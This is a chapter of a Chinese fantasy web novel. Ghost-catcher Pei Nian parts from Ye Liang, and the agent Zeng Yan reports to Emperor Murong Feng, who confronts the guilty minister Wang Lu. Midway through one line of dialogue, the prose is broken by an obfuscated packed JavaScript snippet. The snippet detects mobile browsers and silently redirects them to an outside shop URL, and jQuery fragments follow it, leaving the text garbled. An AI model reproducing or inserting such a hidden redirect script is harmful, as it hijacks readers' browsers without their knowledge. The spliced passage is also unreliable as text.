“我?”
叶良眼中立刻焕发出光彩,充满了对日后的憧憬,“我打算用我哥留下的钱做点小买卖,就从摆个摊子开始,总要活下去,不能辜负我哥的心意。”
叶良到底还是放弃了成为捉鬼师那有些不切实际的想法,决定脚踏实地开始新生活。
他忽然想起之前的承诺,急忙道:“对了!我之前在牢里说过,找到钱要分你一半的,你等着。”说着就要转身。
“不用不用!”
裴念连忙伸手拦住他,态度真诚,“这些钱是你哥哥留给你安身立命的根本,你好好拿着做本金。等你以后真的赚了大钱,再请我吃顿好的,或者分我点红利也成。”
二人正聊得熟稔热络,气氛融洽,这时,一道冷冽的身影却突兀地插了进来,打破了这短暂的轻松交谈。
“说完了吗?”
宁辰清不知何时已走到近前,声音里透着明显的不悦,眼神看过叶良,最后落在裴念脸上。
他刚刚就站在一旁,看着裴念与叶良相谈甚欢。
“说完了就走吧。”
他见裴念没有立刻动弹,又冷声催促了一遍,话语中的不耐几乎要溢出来。
叶良瞧着这氛围不对,敏锐地察觉到宁辰清身上散发出的低气压不敢再多留,匆匆对裴念说了句“我先走了,后会有期。”便赶忙转身离开了这是非之地。
裴念没想到宁辰清会突然来这么一出,心下有些愕然。
她下意识地想:“这人怎么回事?怎么对个陌生人也这么大火气?”
然而,宁辰清似乎并不打算就此结束。
他看着叶良离去的方向,又转回头盯着裴念,说话时听不出什么情绪,又带着一种审问般的意味。
“他就是你在牢里认识的那个?”
“嗯。”
裴念迎上他的目光,坦然承认,语气坚定并无丝毫隐瞒或心虚。
宁辰清闻言,唇角勾起一抹极淡又冰冷的弧度,话语带讥讽:
“你人缘倒是挺广,牢狱之中,也能结交如此挚友。”
裴念并没有完全理会宁辰清话语中夹杂的复杂意味,只想当他是在陈述事实,便只是默默地点头应了一声,并未多做解释或反驳。
不曾想,她这般平淡甚至有些迟钝的反应,似乎让宁辰清本就不太好的脸色又沉下去几分。
许是二人之间这略显古怪的交流氛围太过投入,他们谁也没有注意到,换了身寻常便服的曾严,正巧从他们身旁擦肩而过。
也因此,曾严清晰地听到了叶良对裴念的称呼,他这才知晓,当初在牢中那个自称宁巧逸的小道士,真实的姓名原来是裴念。
只是,对于曾严而言,无论是宁巧逸还是裴念,都已是过去式。
瑞县之事已了,令牌到手,王禄的罪证已然掌握,他与这几位捉鬼师之间短暂的,甚至算不上愉快的交集,也到了该彻底结束的时候。
他已经没有理由,也没有必要再与他们有任何牵扯了。
将瑞县后续交接后,曾严便快马加鞭赶往长安。
瑞县与其距离并不算远,他处理好一切,骑马不过两日便已抵达。
只是,似乎有人比他到的更快,消息早已递进了宫闱深处。
长安,皇宫,御书房内。
一位身着常服、气度沉稳的男子端坐其中,估摸着三十多岁的年纪,正是大昭当今天子,慕容奉。
他此刻并未在批阅奏章,而是坐在一张圆桌旁享用着简单的午膳。
奇怪的是,他身旁还坐着一个约莫七八岁,粉雕玉琢的小女孩,同样安静地用着膳。
数名宫人垂首侍立在两侧,屏息凝神,无人敢发出一丝声响。
殿内只有陈公公低声汇报瑞县之行的声音,以及偶尔筷子触碰精致瓷碟发出的轻微脆响。
就在这时,殿外值守的太监小心翼翼地步入门内,压低声音禀报道:“陛下,潜龙卫曾严曾大人,在殿外候旨。”
慕容奉闻言,并未抬头,只是随意地摆了摆手,示意让曾严进来。
“陛下。”
曾严身着飞鱼服,入内后便依礼单膝跪地,垂首恭声道,“属下来迟了,请陛下恕罪。”
慕容奉脸色不变,目光依旧停留在面前的菜肴上,仿佛根本没有看到跪在下方的人,而是对着侍立一旁的陈公公淡淡问道:“陈公公,瑞县后续的事宜,安排得怎么样了?”
陈公公立刻凑近些许,压低声音禀报道:“启禀陛下,咱家已经按照您的吩咐,派人伪装成曾大人遭遇不测,已然假死,消息也放出去了,醉仙楼也已派人安置,现在就等陛下过些时日,下令派遣新任县令接手瑞县的。”
这话话中的安排,慕容奉岂会不知?此刻问出,不过是借陈公公之口,说给下方跪着的曾严听罢了。
慕容奉听完,还是没有说话,显然并未完全听到想要的答案。他继续拿起汤匙,慢条斯理地喝着汤。
跪在下面的曾严,头垂得更低,不敢抬起,连呼吸都放轻了许多。
陈公公的眼珠转了转,心领神会,随即又补充道:“呃.....还有,陛下,周家那边也已经按照您的吩咐,派人混了进去,会时时刻刻监视他们的一举一动,确保万无一失,绝不会让他们就此了事的。”
听闻到此,慕容奉才终于放下了手中的汤匙,用绢帕擦了擦嘴角,似是满意地评价了一句:“不错,今日这汤,火候恰到好处。”
接着,他才像是刚刚发现跪在地上的曾严一般,话语立刻变得和煦亲切,带着几分嗔怪:“爱卿已经来了?快快请起!跪着做什么,一路奔波辛苦,起来回话。”
曾严这才依言沉声应了句:“谢陛下。”而后起身垂手恭立。
“爱卿此番在瑞县,可是立下了大功啊。”慕容奉温和地客套着,好似刚才的冷落与试探从未发生。
曾严听着这熟悉又带着赏赐意味的口吻,心里悄悄松了口气,知道陛下这关算是暂时过了,至少不会追究他与捉鬼师之间的那些波折。
他连忙躬身:“陛下谬赞。探查案情,铲除奸邪,为陛下分忧,为大昭鞠躬尽瘁,本就是潜龙卫分内之责,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16737694|179646||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
臣不敢居功。”
说罢,他上前一步,双手将那块从狸猫妖处得来的令牌,恭敬地呈到了慕容奉面前。
慕容奉接过令牌,缓缓摩挲着面上清晰的刻痕,片刻后,才淡淡评价了两个字:“不错。”听不出是满意还是另有深意。
随即,他转向侍立一旁的陈公公,平常地问道:“王爱卿到了吗?”
陈公公立刻躬身,毕恭毕敬地回禀:“回陛下,王尚书因为得知陛下宣召其爱女入宫,心中顿感不妙,一早便在宫门外候着了。”
“让他进来吧。”
慕容奉放下令牌,语气依旧平淡无波。
王禄低着头,步履匆匆地踏入御书房。
抬眼间,第一眼看到的便是自己的小女儿正安静地坐在慕容奉的身旁,而慕容奉手中把玩的,正是他那块至关重要的令牌.
王禄瞳孔骤缩,没有任何犹豫,“扑通”一声直接跪伏在地,额头触地,声音带着颤抖:“臣....叩见陛下!请陛下恕罪!”
慕容奉没有回话,甚至没有看他,只是对陈公公淡淡吩咐道:“带王小姐下去,好生照看。”
“遵旨。”
陈公公领命,小心翼翼地引着那懵懂的小女孩退出了御书房。
霎时间,殿内只剩下慕容奉、曾严与跪伏于地的王禄三人。
慕容奉这才将看向地上颤抖的身影,声音听不出喜怒:“王爱卿,你有何罪?”
王禄以头抢地,声音悲切却清晰:“臣.....臣不该利欲熏心,不该为掩盖罪行,纵容甚至勾结妖物制造沉船事故,害死众多无辜性命。
“臣罪该万死!所有罪责,臣一人做事一人当,只求陛下开恩,放过臣那年幼无知的小女!”
他话语说得毕恭毕敬,将罪责揽于自身,试图保全家人。
可是慕容奉显然并不想只听这些表面的认罪之词。
他话语陡然转冷,“王禄,你的野心果然不小!那可是官粮,你也敢动?”
慕容奉这般说着,垂眸死死盯在王禄身上。“你贪墨巨款,当真仅仅只是为了救治你那小女吗?你当真没有与其他皇子有所牵扯,暗中结党营私?”
“臣....甘愿受罚。”
王禄伏在地上,已是强弩之末,只能重复着这句话,试图做最后的挣扎。
“你这便是承认了?”慕容奉的声音拔高。
“受罚?”
他随即嗤笑一声,声音饱含寒意,“若是朕说,这惩罚,要连你的父母、妻妾、儿女,乃至一族,一并算上呢?”
未等王禄反应,又缓缓说道,:“你以为你做的那些勾当,朕当真一无所知?告诉你,朕早就知晓了一切!之所以按兵不动,就是在等你,等你给朕一个能够将你连根拔起的最大的机会。”
王禄闻言,大惊失色,整个人瘫软在地,控制不住地瑟瑟发抖,连一句完整的话都说不出来。
慕容奉冷哼一声,不再看他,拂袖起身,对着殿外沉声道:“来人!”
立刻有数名气息冷肃的殿前侍卫应声而入。